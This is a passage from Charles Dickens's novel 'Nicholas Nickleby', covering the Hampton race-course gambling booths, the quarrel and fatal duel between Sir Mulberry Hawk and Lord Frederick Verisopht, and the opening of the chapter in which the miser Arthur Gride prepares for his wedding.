serious Catastrophe + + +The little race-course at Hampton was in the full tide and height of +its gaiety; the day as dazzling as day could be; the sun high in the +cloudless sky, and shining in its fullest splendour. Every gaudy +colour that fluttered in the air from carriage seat and garish tent +top, shone out in its gaudiest hues. Old dingy flags grew new +again, faded gilding was re-burnished, stained rotten canvas looked +a snowy white, the very beggars' rags were freshened up, and +sentiment quite forgot its charity in its fervent admiration of +poverty so picturesque. + +It was one of those scenes of life and animation, caught in its very +brightest and freshest moments, which can scarcely fail to please; +for if the eye be tired of show and glare, or the ear be weary with +a ceaseless round of noise, the one may repose, turn almost where it +will, on eager, happy, and expectant faces, and the other deaden all +consciousness of more annoying sounds in those of mirth and +exhilaration. Even the sunburnt faces of gypsy children, half naked +though they be, suggest a drop of comfort. It is a pleasant thing +to see that the sun has been there; to know that the air and light +are on them every day; to feel that they ARE children, and lead +children's lives; that if their pillows be damp, it is with the dews +of Heaven, and not with tears; that the limbs of their girls are +free, and that they are not crippled by distortions, imposing an +unnatural and horrible penance upon their sex; that their lives are +spent, from day to day, at least among the waving trees, and not in +the midst of dreadful engines which make young children old before +they know what childhood is, and give them the exhaustion and +infirmity of age, without, like age, the privilege to die. God send +that old nursery tales were true, and that gypsies stole such +children by the score! + +The great race of the day had just been run; and the close lines of +people, on either side of the course, suddenly breaking up and +pouring into it, imparted a new liveliness to the scene, which was +again all busy movement. Some hurried eagerly to catch a glimpse of +the winning horse; others darted to and fro, searching, no less +eagerly, for the carriages they had left in quest of better +stations. Here, a little knot gathered round a pea and thimble +table to watch the plucking of some unhappy greenhorn; and there, +another proprietor with his confederates in various disguises--one +man in spectacles; another, with an eyeglass and a stylish hat; a +third, dressed as a farmer well to do in the world, with his top- +coat over his arm and his flash notes in a large leathern pocket- +book; and all with heavy-handled whips to represent most innocent +country fellows who had trotted there on horseback--sought, by loud +and noisy talk and pretended play, to entrap some unwary customer, +while the gentlemen confederates (of more villainous aspect still, +in clean linen and good clothes), betrayed their close interest in +the concern by the anxious furtive glance they cast on all +new comers. These would be hanging on the outskirts of a wide circle +of people assembled round some itinerant juggler, opposed, in his +turn, by a noisy band of music, or the classic game of 'Ring the +Bull,' while ventriloquists holding dialogues with wooden dolls, and +fortune-telling women smothering the cries of real babies, divided +with them, and many more, the general attention of the company. +Drinking-tents were full, glasses began to clink in carriages, +hampers to be unpacked, tempting provisions to be set forth, knives +and forks to rattle, champagne corks to fly, eyes to brighten that +were not dull before, and pickpockets to count their gains during +the last heat. The attention so recently strained on one object of +interest, was now divided among a hundred; and look where you would, +there was a motley assemblage of feasting, laughing, talking, +begging, gambling, and mummery. + +Of the gambling-booths there was a plentiful show, flourishing in +all the splendour of carpeted ground, striped hangings, crimson +cloth, pinnacled roofs, geranium pots, and livery servants. There +were the Stranger's club-house, the Athenaeum club-house, the +Hampton club-house, the St James's club-house, and half a mile of +club-houses to play IN; and there were ROUGE-ET-NOIR, French hazard, +and other games to play AT. It is into one of these booths that our +story takes its way. + +Fitted up with three tables for the purposes of play, and crowded +with players and lookers on, it was, although the largest place of +the kind upon the course, intensely hot, notwithstanding that a +portion of the canvas roof was rolled back to admit more air, and +there were two doors for a free passage in and out. Excepting one +or two men who, each with a long roll of half-crowns, chequered with +a few stray sovereigns, in his left hand, staked their money at +every roll of the ball with a business-like sedateness which showed +that they were used to it, and had been playing all day, and most +probably all the day before, there was no very distinctive character +about the players, who were chiefly young men, apparently attracted +by curiosity, or staking small sums as part of the amusement of the +day, with no very great interest in winning or losing. There were +two persons present, however, who, as peculiarly good specimens of a +class, deserve a passing notice. + +Of these, one was a man of six or eight and fifty, who sat on a +chair near one of the entrances of the booth, with his hands folded +on the top of his stick, and his chin appearing above them. He was +a tall, fat, long-bodied man, buttoned up to the throat in a light +green coat, which made his body look still longer than it was. He +wore, besides, drab breeches and gaiters, a white neckerchief, and a +broad-brimmed white hat. Amid all the buzzing noise of the games, +and the perpetual passing in and out of the people, he seemed +perfectly calm and abstracted, without the smallest particle of +excitement in his composition. He exhibited no indication of +weariness, nor, to a casual observer, of interest either. There he +sat, quite still and collected. Sometimes, but very rarely, he +nodded to some passing face, or beckoned to a waiter to obey a call +from one of the tables. The next instant he subsided into his old +state. He might have been some profoundly deaf old gentleman, who +had come in to take a rest, or he might have been patiently waiting +for a friend, without the least consciousness of anybody's presence, +or fixed in a trance, or under the influence of opium. People +turned round and looked at him; he made no gesture, caught nobody's +eye, let them pass away, and others come on and be succeeded by +others, and took no notice. When he did move, it seemed wonderful +how he could have seen anything to occasion it. And so, in truth, +it was. But there was not a face that passed in or out, which this +man failed to see; not a gesture at any one of the three tables that +was lost upon him; not a word, spoken by the bankers, but reached +his ear; not a winner or loser he could not have marked. And he was +the proprietor of the place. + +The other presided over the ROUGE-ET-NOIR table. He was probably +some ten years younger, and was a plump, paunchy, sturdy-looking +fellow, with his under-lip a little pursed, from a habit of counting +money inwardly as he paid it, but with no decidedly bad expression +in his face, which was rather an honest and jolly one than +otherwise. He wore no coat, the weather being hot, and stood behind +the table with a huge mound of crowns and half-crowns before him, +and a cash-box for notes. This game was constantly playing. +Perhaps twenty people would be staking at the same time. This man +had to roll the ball, to watch the stakes as they were laid down, to +gather them off the colour which lost, to pay those who won, to do +it all with the utmost dispatch, to roll the ball again, and to keep +this game perpetually alive. He did it all with a rapidity +absolutely marvellous; never hesitating, never making a mistake, +never stopping, and never ceasing to repeat such unconnected phrases +as the following, which, partly from habit, and partly to have +something appropriate and business-like to say, he constantly poured +out with the same monotonous emphasis, and in nearly the same order, +all day long: + +'Rooge-a-nore from Paris! Gentlemen, make your game and back your +own opinions--any time while the ball rolls--rooge-a-nore from +Paris, gentlemen, it's a French game, gentlemen, I brought it over +myself, I did indeed!--Rooge-a-nore from Paris--black wins--black-- +stop a minute, sir, and I'll pay you, directly--two there, half a +pound there, three there--and one there--gentlemen, the ball's a +rolling--any time, sir, while the ball rolls!--The beauty of this +game is, that you can double your stakes or put down your money, +gentlemen, any time while the ball rolls--black again--black wins--I +never saw such a thing--I never did, in all my life, upon my word I +never did; if any gentleman had been backing the black in the last +five minutes he must have won five-and-forty pound in four rolls of +the ball, he must indeed. Gentlemen, we've port, sherry, cigars, and +most excellent champagne. Here, wai-ter, bring a bottle of +champagne, and let's have a dozen or fifteen cigars here--and let's +be comfortable, gentlemen--and bring some clean glasses--any time +while the ball rolls!--I lost one hundred and thirty-seven pound +yesterday, gentlemen, at one roll of the ball, I did indeed!--how do +you do, sir?' (recognising some knowing gentleman without any halt +or change of voice, and giving a wink so slight that it seems an +accident), 'will you take a glass of sherry, sir?--here, wai-ter! +bring a clean glass, and hand the sherry to this gentleman--and hand +it round, will you, waiter?--this is the rooge-a-nore from Paris, +gentlemen--any time while the ball rolls!--gentlemen, make your +game, and back your own opinions--it's the rooge-a-nore from Paris-- +quite a new game, I brought it over myself, I did indeed--gentlemen, +the ball's a-rolling!' + +This officer was busily plying his vocation when half-a-dozen +persons sauntered through the booth, to whom, but without stopping +either in his speech or work, he bowed respectfully; at the same +time directing, by a look, the attention of a man beside him to the +tallest figure in the group, in recognition of whom the proprietor +pulled off his hat. This was Sir Mulberry Hawk, with whom were his +friend and pupil, and a small train of gentlemanly-dressed men, of +characters more doubtful than obscure. + +The proprietor, in a low voice, bade Sir Mulberry good-day. Sir +Mulberry, in the same tone, bade the proprietor go to the devil, and +turned to speak with his friends. + +There was evidently an irritable consciousness about him that he was +an object of curiosity, on this first occasion of showing himself in +public after the accident that had befallen him; and it was easy to +perceive that he appeared on the race-course, that day, more in the +hope of meeting with a great many people who knew him, and so +getting over as much as possible of the annoyance at once, than with +any purpose of enjoying the sport. There yet remained a slight scar +upon his face, and whenever he was recognised, as he was almost +every minute by people sauntering in and out, he made a restless +effort to conceal it with his glove; showing how keenly he felt the +disgrace he had undergone. + +'Ah! Hawk,' said one very sprucely-dressed personage in a Newmarket +coat, a choice neckerchief, and all other accessories of the most +unexceptionable kind. 'How d'ye do, old fellow?' + +This was a rival trainer of young noblemen and gentlemen, and the +person of all others whom Sir Mulberry most hated and dreaded to +meet. They shook hands with excessive cordiality. + +'And how are you now, old fellow, hey?' + +'Quite well, quite well,' said Sir Mulberry. + +'That's right,' said the other. 'How d'ye do, Verisopht? He's a +little pulled down, our friend here. Rather out of condition still, +hey?' + +It should be observed that the gentleman had very white teeth, and +that when there was no excuse for laughing, he generally finished +with the same monosyllable, which he uttered so as to display them. + +'He's in very good condition; there's nothing the matter with him,' +said the young man carelessly. + +'Upon my soul I'm glad to hear it,' rejoined the other. 'Have you +just returned from Brussels?' + +'We only reached town late last night,' said Lord Frederick. Sir +Mulberry turned away to speak to one of his own party, and feigned +not to hear. + +'Now, upon my life,' said the friend, affecting to speak in a +whisper, 'it's an uncommonly bold and game thing in Hawk to show +himself so soon. I say it advisedly; there's a vast deal of courage +in it. You see he has just rusticated long enough to excite +curiosity, and not long enough for men to have forgotten that deuced +unpleasant--by-the-bye--you know the rights of the affair, of +course? Why did you never give those confounded papers the lie? I +seldom read the papers, but I looked in the papers for that, and may +I be--' + +'Look in the papers,' interrupted Sir Mulberry, turning suddenly +round, 'tomorrow--no, next day, will you?' + +'Upon my life, my dear fellow, I seldom or never read the papers,' +said the other, shrugging his shoulders, 'but I will, at your +recommendation. What shall I look for?' + +'Good day,' said Sir Mulberry, turning abruptly on his heel, and +drawing his pupil with him. Falling, again, into the loitering, +careless pace at which they had entered, they lounged out, arm in +arm. + +'I won't give him a case of murder to read,' muttered Sir Mulberry +with an oath; 'but it shall be something very near it if whipcord +cuts and bludgeons bruise.' + +His companion said nothing, but there was something in his manner +which galled Sir Mulberry to add, with nearly as much ferocity as if +his friend had been Nicholas himself: + +'I sent Jenkins to old Nickleby before eight o'clock this morning. +He's a staunch one; he was back with me before the messenger. I had +it all from him in the first five minutes. I know where this hound +is to be met with; time and place both. But there's no need to +talk; tomorrow will soon be here.' + +'And wha-at's to be done tomorrow?' inquired Lord Frederick. + +Sir Mulberry Hawk honoured him with an angry glance, but +condescended to return no verbal answer to this inquiry. Both +walked sullenly on, as though their thoughts were busily occupied, +until they were quite clear of the crowd, and almost alone, when Sir +Mulberry wheeled round to return. + +'Stop,' said his companion, 'I want to speak to you in earnest. +Don't turn back. Let us walk here, a few minutes.' + +'What have you to say to me, that you could not say yonder as well +as here?' returned his Mentor, disengaging his arm. + +'Hawk,' rejoined the other, 'tell me; I must know.' + +'MUST know,' interrupted the other disdainfully. 'Whew! Go on. If +you must know, of course there's no escape for me. Must know!' + +'Must ask then,' returned Lord Frederick, 'and must press you for a +plain and straightforward answer. Is what you have just said only a +mere whim of the moment, occasioned by your being out of humour and +irritated, or is it your serious intention, and one that you have +actually contemplated?' + +'Why, don't you remember what passed on the subject one night, when +I was laid up with a broken limb?' said Sir Mulberry, with a sneer. + +'Perfectly well.' + +'Then take that for an answer, in the devil's name,' replied Sir +Mulberry, 'and ask me for no other.' + +Such was the ascendancy he had acquired over his dupe, and such the +latter's general habit of submission, that, for the moment, the +young man seemed half afraid to pursue the subject. He soon +overcame this feeling, however, if it had restrained him at all, and +retorted angrily: + +'If I remember what passed at the time you speak of, I expressed a +strong opinion on this subject, and said that, with my knowledge or +consent, you never should do what you threaten now.' + +'Will you prevent me?' asked Sir Mulberry, with a laugh. + +'Ye-es, if I can,' returned the other, promptly. + +'A very proper saving clause, that last,' said Sir Mulberry; 'and +one you stand in need of. Oh! look to your own business, and leave +me to look to mine.' + +'This IS mine,' retorted Lord Frederick. 'I make it mine; I will +make it mine. It's mine already. I am more compromised than I +should be, as it is.' + +'Do as you please, and what you please, for yourself,' said Sir +Mulberry, affecting an easy good-humour. 'Surely that must content +you! Do nothing for me; that's all. I advise no man to interfere +in proceedings that I choose to take. I am sure you know me better +than to do so. The fact is, I see, you mean to offer me advice. It +is well meant, I have no doubt, but I reject it. Now, if you +please, we will return to the carriage. I find no entertainment +here, but quite the reverse. If we prolong this conversation, we +might quarrel, which would be no proof of wisdom in either you or +me.' + +With this rejoinder, and waiting for no further discussion, Sir +Mulberry Hawk yawned, and very leisurely turned back. + +There was not a little tact and knowledge of the young lord's +disposition in this mode of treating him. Sir Mulberry clearly saw +that if his dominion were to last, it must be established now. He +knew that the moment he became violent, the young man would become +violent too. He had, many times, been enabled to strengthen his +influence, when any circumstance had occurred to weaken it, by +adopting this cool and laconic style; and he trusted to it now, with +very little doubt of its entire success. + +But while he did this, and wore the most careless and indifferent +deportment that his practised arts enabled him to assume, he +inwardly resolved, not only to visit all the mortification of being +compelled to suppress his feelings, with additional severity upon +Nicholas, but also to make the young lord pay dearly for it, one +day, in some shape or other. So long as he had been a passive +instrument in his hands, Sir Mulberry had regarded him with no other +feeling than contempt; but, now that he presumed to avow opinions in +opposition to his, and even to turn upon him with a lofty tone and +an air of superiority, he began to hate him. Conscious that, in the +vilest and most worthless sense of the term, he was dependent upon +the weak young lord, Sir Mulberry could the less brook humiliation +at his hands; and when he began to dislike him he measured his +dislike--as men often do--by the extent of the injuries he had +inflicted upon its object. When it is remembered that Sir Mulberry +Hawk had plundered, duped, deceived, and fooled his pupil in every +possible way, it will not be wondered at, that, beginning to hate +him, he began to hate him cordially. + +On the other hand, the young lord having thought--which he very +seldom did about anything--and seriously too, upon the affair with +Nicholas, and the circumstances which led to it, had arrived at a +manly and honest conclusion. Sir Mulberry's coarse and insulting +behaviour on the occasion in question had produced a deep impression +on his mind; a strong suspicion of his having led him on to pursue +Miss Nickleby for purposes of his own, had been lurking there for +some time; he was really ashamed of his share in the transaction, +and deeply mortified by the misgiving that he had been gulled. He +had had sufficient leisure to reflect upon these things, during +their late retirement; and, at times, when his careless and indolent +nature would permit, had availed himself of the opportunity. Slight +circumstances, too, had occurred to increase his suspicion. It +wanted but a very slight circumstance to kindle his wrath against +Sir Mulberry. This his disdainful and insolent tone in their recent +conversation (the only one they had held upon the subject since the +period to which Sir Mulberry referred), effected. + +Thus they rejoined their friends: each with causes of dislike +against the other rankling in his breast: and the young man haunted, +besides, with thoughts of the vindictive retaliation which was +threatened against Nicholas, and the determination to prevent it by +some strong step, if possible. But this was not all. Sir Mulberry, +conceiving that he had silenced him effectually, could not suppress +his triumph, or forbear from following up what he conceived to be +his advantage. Mr Pyke was there, and Mr Pluck was there, and +Colonel Chowser, and other gentlemen of the same caste, and it was a +great point for Sir Mulberry to show them that he had not lost his +influence. At first, the young lord contented himself with a silent +determination to take measures for withdrawing himself from the +connection immediately. By degrees, he grew more angry, and was +exasperated by jests and familiarities which, a few hours before, +would have been a source of amusement to him. This did not serve +him; for, at such bantering or retort as suited the company, he was +no match for Sir Mulberry. Still, no violent rupture took place. +They returned to town; Messrs Pyke and Pluck and other gentlemen +frequently protesting, on the way thither, that Sir Mulberry had +never been in such tiptop spirits in all his life. + +They dined together, sumptuously. The wine flowed freely, as indeed +it had done all day. Sir Mulberry drank to recompense himself for +his recent abstinence; the young lord, to drown his indignation; and +the remainder of the party, because the wine was of the best and +they had nothing to pay. It was nearly midnight when they rushed +out, wild, burning with wine, their blood boiling, and their brains +on fire, to the gaming-table. + +Here, they encountered another party, mad like themselves. The +excitement of play, hot rooms, and glaring lights was not calculated +to allay the fever of the time. In that giddy whirl of noise and +confusion, the men were delirious. Who thought of money, ruin, or +the morrow, in the savage intoxication of the moment? More wine was +called for, glass after glass was drained, their parched and +scalding mouths were cracked with thirst. Down poured the wine like +oil on blazing fire. And still the riot went on. The debauchery +gained its height; glasses were dashed upon the floor by hands that +could not carry them to lips; oaths were shouted out by lips which +could scarcely form the words to vent them in; drunken losers cursed +and roared; some mounted on the tables, waving bottles above their +heads and bidding defiance to the rest; some danced, some sang, some +tore the cards and raved. Tumult and frenzy reigned supreme; when a +noise arose that drowned all others, and two men, seizing each other +by the throat, struggled into the middle of the room. + +A dozen voices, until now unheard, called aloud to part them. Those +who had kept themselves cool, to win, and who earned their living in +such scenes, threw themselves upon the combatants, and, forcing them +asunder, dragged them some space apart. + +'Let me go!' cried Sir Mulberry, in a thick hoarse voice; 'he struck +me! Do you hear? I say, he struck me. Have I a friend here? Who +is this? Westwood. Do you hear me say he struck me?' + +'I hear, I hear,' replied one of those who held him. 'Come away for +tonight!' + +'I will not, by G--,' he replied. 'A dozen men about us saw the +blow.' + +'Tomorrow will be ample time,' said the friend. + +'It will not be ample time!' cried Sir Mulberry. 'Tonight, at once, +here!' His passion was so great, that he could not articulate, but +stood clenching his fist, tearing his hair, and stamping upon the +ground. + +'What is this, my lord?' said one of those who surrounded him. +'Have blows passed?' + +'ONE blow has,' was the panting reply. 'I struck him. I proclaim it +to all here! I struck him, and he knows why. I say, with him, let +this quarrel be adjusted now. Captain Adams,' said the young lord, +looking hurriedly about him, and addressing one of those who had +interposed, 'let me speak with you, I beg.' + +The person addressed stepped forward, and taking the young man's +arm, they retired together, followed shortly afterwards by Sir +Mulberry and his friend. + +It was a profligate haunt of the worst repute, and not a place in +which such an affair was likely to awaken any sympathy for either +party, or to call forth any further remonstrance or interposition. +Elsewhere, its further progress would have been instantly prevented, +and time allowed for sober and cool reflection; but not there. +Disturbed in their orgies, the party broke up; some reeled away with +looks of tipsy gravity; others withdrew noisily discussing what had +just occurred; the gentlemen of honour who lived upon their winnings +remarked to each other, as they went out, that Hawk was a good shot; +and those who had been most noisy, fell fast asleep upon the sofas, +and thought no more about it. + +Meanwhile, the two seconds, as they may be called now, after a long +conference, each with his principal, met together in another room. +Both utterly heartless, both men upon town, both thoroughly +initiated in its worst vices, both deeply in debt, both fallen from +some higher estate, both addicted to every depravity for which +society can find some genteel name and plead its most depraving +conventionalities as an excuse, they were naturally gentlemen of +most unblemished honour themselves, and of great nicety concerning +the honour of other people. + +These two gentlemen were unusually cheerful just now; for the affair +was pretty certain to make some noise, and could scarcely fail to +enhance their reputations. + +'This is an awkward affair, Adams,' said Mr Westwood, drawing +himself up. + +'Very,' returned the captain; 'a blow has been struck, and there is +but one course, OF course.' + +'No apology, I suppose?' said Mr Westwood. + +'Not a syllable, sir, from my man, if we talk till doomsday,' +returned the captain. 'The original cause of dispute, I understand, +was some girl or other, to whom your principal applied certain +terms, which Lord Frederick, defending the girl, repelled. But this +led to a long recrimination upon a great many sore subjects, +charges, and counter-charges. Sir Mulberry was sarcastic; Lord +Frederick was excited, and struck him in the heat of provocation, +and under circumstances of great aggravation. That blow, unless +there is a full retraction on the part of Sir Mulberry, Lord +Frederick is ready to justify.' + +'There is no more to be said,' returned the other, 'but to settle +the hour and the place of meeting. It's a responsibility; but there +is a strong feeling to have it over. Do you object to say at +sunrise?' + +'Sharp work,' replied the captain, referring to his watch; 'however, +as this seems to have been a long time breeding, and negotiation is +only a waste of words, no.' + +'Something may possibly be said, out of doors, after what passed in +the other room, which renders it desirable that we should be off +without delay, and quite clear of town,' said Mr Westwood. 'What do +you say to one of the meadows opposite Twickenham, by the river- +side?' + +The captain saw no objection. + +'Shall we join company in the avenue of trees which leads from +Petersham to Ham House, and settle the exact spot when we arrive +there?' said Mr Westwood. + +To this the captain also assented. After a few other preliminaries, +equally brief, and having settled the road each party should take to +avoid suspicion, they separated. + +'We shall just have comfortable time, my lord,' said the captain, +when he had communicated the arrangements, 'to call at my rooms for +a case of pistols, and then jog coolly down. If you will allow me +to dismiss your servant, we'll take my cab; for yours, perhaps, +might be recognised.' + +What a contrast, when they reached the street, to the scene they had +just left! It was already daybreak. For the flaring yellow light +within, was substituted the clear, bright, glorious morning; for a +hot, close atmosphere, tainted with the smell of expiring lamps, and +reeking with the steams of riot and dissipation, the free, fresh, +wholesome air. But to the fevered head on which that cool air blew, +it seemed to come laden with remorse for time misspent and countless +opportunities neglected. With throbbing veins and burning skin, +eyes wild and heavy, thoughts hurried and disordered, he felt as +though the light were a reproach, and shrunk involuntarily from the +day as if he were some foul and hideous thing. + +'Shivering?' said the captain. 'You are cold.' + +'Rather.' + +'It does strike cool, coming out of those hot rooms. Wrap that +cloak about you. So, so; now we're off.' + +They rattled through the quiet streets, made their call at the +captain's lodgings, cleared the town, and emerged upon the open +road, without hindrance or molestation. + +Fields, trees, gardens, hedges, everything looked very beautiful; +the young man scarcely seemed to have noticed them before, though he +had passed the same objects a thousand times. There was a peace and +serenity upon them all, strangely at variance with the bewilderment +and confusion of his own half-sobered thoughts, and yet impressive +and welcome. He had no fear upon his mind; but, as he looked about +him, he had less anger; and though all old delusions, relative to +his worthless late companion, were now cleared away, he rather +wished he had never known him than thought of its having come to +this. + +The past night, the day before, and many other days and nights +beside, all mingled themselves up in one unintelligible and +senseless whirl; he could not separate the transactions of one time +from those of another. Now, the noise of the wheels resolved itself +into some wild tune in which he could recognise scraps of airs he +knew; now, there was nothing in his ears but a stunning and +bewildering sound, like rushing water. But his companion rallied +him on being so silent, and they talked and laughed boisterously. +When they stopped, he was a little surprised to find himself in the +act of smoking; but, on reflection, he remembered when and where he +had taken the cigar. + +They stopped at the avenue gate and alighted, leaving the carriage +to the care of the servant, who was a smart fellow, and nearly as +well accustomed to such proceedings as his master. Sir Mulberry and +his friend were already there. All four walked in profound silence +up the aisle of stately elm trees, which, meeting far above their +heads, formed a long green perspective of Gothic arches, +terminating, like some old ruin, in the open sky. + +After a pause, and a brief conference between the seconds, they, at +length, turned to the right, and taking a track across a little +meadow, passed Ham House and came into some fields beyond. In one +of these, they stopped. The ground was measured, some usual forms +gone through, the two principals were placed front to front at the +distance agreed upon, and Sir Mulberry turned his face towards his +young adversary for the first time. He was very pale, his eyes were +bloodshot, his dress disordered, and his hair dishevelled. For +the face, it expressed nothing but violent and evil passions. He +shaded his eyes with his hand; grazed at his opponent, steadfastly, +for a few moments; and, then taking the weapon which was tendered to +him, bent his eyes upon that, and looked up no more until the word +was given, when he instantly fired. + +The two shots were fired, as nearly as possible, at the same +instant. In that instant, the young lord turned his head sharply +round, fixed upon his adversary a ghastly stare, and without a groan +or stagger, fell down dead. + +'He's gone!' cried Westwood, who, with the other second, had run up +to the body, and fallen on one knee beside it. + +'His blood on his own head,' said Sir Mulberry. 'He brought this +upon himself, and forced it upon me.' + +'Captain Adams,' cried Westwood, hastily, 'I call you to witness +that this was fairly done. Hawk, we have not a moment to lose. We +must leave this place immediately, push for Brighton, and cross to +France with all speed. This has been a bad business, and may be +worse, if we delay a moment. Adams, consult your own safety, and +don't remain here; the living before the dead; goodbye!' + +With these words, he seized Sir Mulberry by the arm, and hurried him +away. Captain Adams--only pausing to convince himself, beyond all +question, of the fatal result--sped off in the same direction, to +concert measures with his servant for removing the body, and +securing his own safety likewise. + +So died Lord Frederick Verisopht, by the hand which he had loaded +with gifts, and clasped a thousand times; by the act of him, but for +whom, and others like him, he might have lived a happy man, and died +with children's faces round his bed. + +The sun came proudly up in all his majesty, the noble river ran its +winding course, the leaves quivered and rustled in the air, the +birds poured their cheerful songs from every tree, the short-lived +butterfly fluttered its little wings; all the light and life of day +came on; and, amidst it all, and pressing down the grass whose every +blade bore twenty tiny lives, lay the dead man, with his stark and +rigid face turned upwards to the sky. + + + +CHAPTER 51 + +The Project of Mr Ralph Nickleby and his Friend approaching a +successful Issue, becomes unexpectedly known to another Party, not +admitted into their Confidence + + +In an old house, dismal dark and dusty, which seemed to have +withered, like himself, and to have grown yellow and shrivelled in +hoarding him from the light of day, as he had in hoarding his money, +lived Arthur Gride. Meagre old chairs and tables, of spare and bony +make, and hard and cold as misers' hearts, were ranged, in grim +array, against the gloomy walls; attenuated presses, grown lank and +lantern-jawed in guarding the treasures they enclosed, and +tottering, as though from constant fear and dread of thieves, shrunk +up in dark corners, whence they cast no shadows on the ground, and +seemed to hide and cower from observation. A tall grim clock upon +the stairs, with long lean hands and famished face, ticked in +cautious whispers; and when it struck the time, in thin and piping +sounds, like an old man's voice, rattled, as if it were pinched with +hunger. + +No fireside couch was there, to invite repose and comfort. Elbow- +chairs there were, but they looked uneasy in their minds, cocked +their arms suspiciously and timidly, and kept upon their guard. +Others, were fantastically grim and gaunt, as having drawn +themselves up to their utmost height, and put on their fiercest +looks to stare all comers out of countenance. Others, again, +knocked up against their neighbours, or leant for support against +the wall--somewhat ostentatiously, as if to call all men to witness +that they were not worth the taking. The dark square lumbering +bedsteads seemed built for restless dreams; the musty hangings +seemed to creep in scanty folds together, whispering among +themselves, when rustled by the wind, their trembling knowledge of +the tempting wares that lurked within the dark and tight-locked +closets. + +From out the most spare and hungry room in all this spare and hungry +house there came, one morning, the tremulous tones of old Gride's +voice, as it feebly chirruped forth the fag end of some forgotten +song, of which the burden ran: + + Ta--ran--tan--too, + Throw the old shoe, + And may the wedding be lucky! + +which he repeated, in the same shrill quavering notes, again and +again, until a violent fit of coughing obliged him to desist, and to +pursue in silence, the occupation upon which he was engaged. + +This occupation was, to take down from the shelves of a worm-eaten +wardrobe a quantity of frouzy garments, one by one; to subject each +to a careful and minute inspection by holding it up against the +light, and after folding it with great exactness, to lay it on one +or other of two little heaps beside him. He never took two articles +of clothing out together, but always brought them forth, singly, and +never failed to shut the wardrobe door, and turn the key, between +each visit to its shelves. + +'The snuff-coloured suit,' said Arthur Gride, surveying a threadbare +coat. 'Did I look well in snuff-colour? Let me think.' + +The result of his cogitations appeared to be unfavourable, for he +folded the garment once more, laid it aside, and mounted on a chair +to get down another, chirping while he did so: + + Young, loving, and fair, + Oh what happiness there! + The wedding is sure to be lucky! + +'They always put in "young,"' said old Arthur, 'but songs are only +written for the sake of rhyme, and this is a silly one that the poor +country-people sang, when I was a little boy. Though stop--young is +quite right too--it means the bride--yes. He, he, he! It means the +bride. Oh dear, that's good. That's very good. And true besides, +quite true!' + +In the satisfaction of this discovery, he went over the verse again, +with increased expression, and a shake or two here and there. He +then resumed his employment. + +'The bottle-green,' said old Arthur; 'the bottle-green was a famous +suit to wear, and I bought it very cheap at a pawnbroker's, and +there was--he, he, he!--a tarnished shilling in the waistcoat +pocket. To think that the pawnbroker shouldn't have known there was +a shilling in it! I knew it! I felt it when I was examining the +quality. Oh, what a dull dog of a pawnbroker! It was a lucky suit +too, this bottle-green. The very day I put it on first, old Lord +Mallowford was burnt to death in his bed, and all the post-obits +fell in. I'll be married in the bottle-green. Peg. Peg Sliderskew +--I'll wear the bottle-green!' + +This call, loudly repeated twice or thrice at the room-door, brought +into the apartment a short, thin, weasen, blear-eyed old woman, +palsy-stricken and hideously ugly, who, wiping her shrivelled face +upon her dirty apron, inquired, in that subdued tone in which deaf +people commonly speak: + +'Was that you a calling, or only the clock a striking? My hearing +gets so bad, I never know which is which; but when I hear a noise, I +know it must be one of you, because nothing else never stirs in the +house.' + +'Me, Peg, me,' said Arthur Gride, tapping himself on the breast to +render the reply more intelligible. + +'You, eh?' returned Peg. 'And what do YOU want?' + +'I'll be married in the bottle-green,' cried Arthur Gride. + +'It's a deal too good to be married in, master,' rejoined Peg, after +a short inspection of the suit. 'Haven't you got anything worse +than this?' + +'Nothing that'll do,' replied old Arthur. + +'Why not do?' retorted Peg. 'Why don't you wear your every-day +clothes, like a man--eh?' + +'They an't becoming enough, Peg,' returned her master. + +'Not what enough?' said Peg. + +'Becoming.' + +'Becoming what?' said Peg, sharply. 'Not becoming too old to wear?' + +Arthur Gride muttered an imprecation on his housekeeper's deafness, +as he roared in her ear: + +'Not smart enough! I want to look as well as I can.' + +'Look?' cried Peg. 'If she's as handsome as you say she is, she +won't look much at you, master, take your oath of that; and as to +how you look yourself--pepper-and-salt, bottle-green, sky-blue, or +tartan-plaid will make no difference in you.' + +With which consolatory assurance, Peg Sliderskew gathered up the +chosen suit, and folding her skinny arms upon the bundle, stood, +mouthing, and grinning, and blinking her watery eyes, like an +uncouth figure in some monstrous piece of carving. + +'You're in a funny humour, an't you, Peg?' said Arthur, with not the +best possible grace. + +'Why, isn't it enough to make me?' rejoined the old woman. 'I +shall, soon enough, be put out, though, if anybody tries to domineer +it over me: and so I give you notice, master. Nobody shall be put +over Peg Sliderskew's head, after so many years; you know that, and +so I needn't tell you! That won't do for me--no, no, nor for you. +Try that once, and come to ruin--ruin--ruin!' + +'Oh dear, dear, I shall never try it,' said Arthur Gride, appalled +by the mention of the word, 'not for the world. It would be very +easy to ruin me; we must be very careful; more saving than ever, +with another mouth to feed. Only we--we mustn't let her lose her +good looks, Peg, because I like to see 'em.' + +'Take care you don't find good looks come expensive,' returned Peg, +shaking her forefinger. + +'But she can earn money herself, Peg,' said Arthur Gride, eagerly +watching what effect his communication produced upon the old woman's +countenance: 'she can draw, paint, work all manner of pretty things +for ornamenting stools and chairs: slippers, Peg, watch-guards, +hair-chains, and a thousand little dainty trifles that I couldn't +give you half the names of. Then she can play the piano, (and, +what's more, she's got one), and sing like a little bird. She'll be +very cheap to dress and keep, Peg; don't you think she will?' + +'If you don't let her make a fool of you, she may,' returned Peg. + +'A fool of ME!' exclaimed Arthur. 'Trust your old master not to be +fooled by pretty faces, Peg; no, no, no--nor by ugly ones neither, +Mrs Sliderskew,' he softly added by way of soliloquy. + +'You're a saying something you don't want me to hear,' said Peg; 'I +know you are.' + +'Oh dear! the devil's in this woman,' muttered Arthur; adding with +an ugly leer, 'I said I trusted everything to you, Peg. That was +all.' + +'You do that, master, and all your cares are over,' said Peg +approvingly. + +'WHEN I do that, Peg Sliderskew,' thought Arthur Gride, 'they will +be.' + +Although he thought this very distinctly, he durst not move his lips +lest the old woman should detect him. He even seemed half afraid +that she might have read his thoughts; for he leered coaxingly upon +her, as he said aloud: + +'Take up all loose stitches in the bottle-green with the best black +silk. Have a skein of the best, and some new buttons for the coat, +and--this is a good idea, Peg, and one you'll like, I know--as I +have never given her anything yet, and girls like such attentions, +you shall polish up a sparking necklace that I have got upstairs, +and I'll give it her upon the wedding morning--clasp it round her +charming little neck myself--and take it away again next day. He, +he, he! I'll lock it up for her, Peg, and lose it. Who'll be made the +fool of there, I wonder, to begin with--eh, Peg?' + +Mrs Sliderskew appeared to approve highly of this 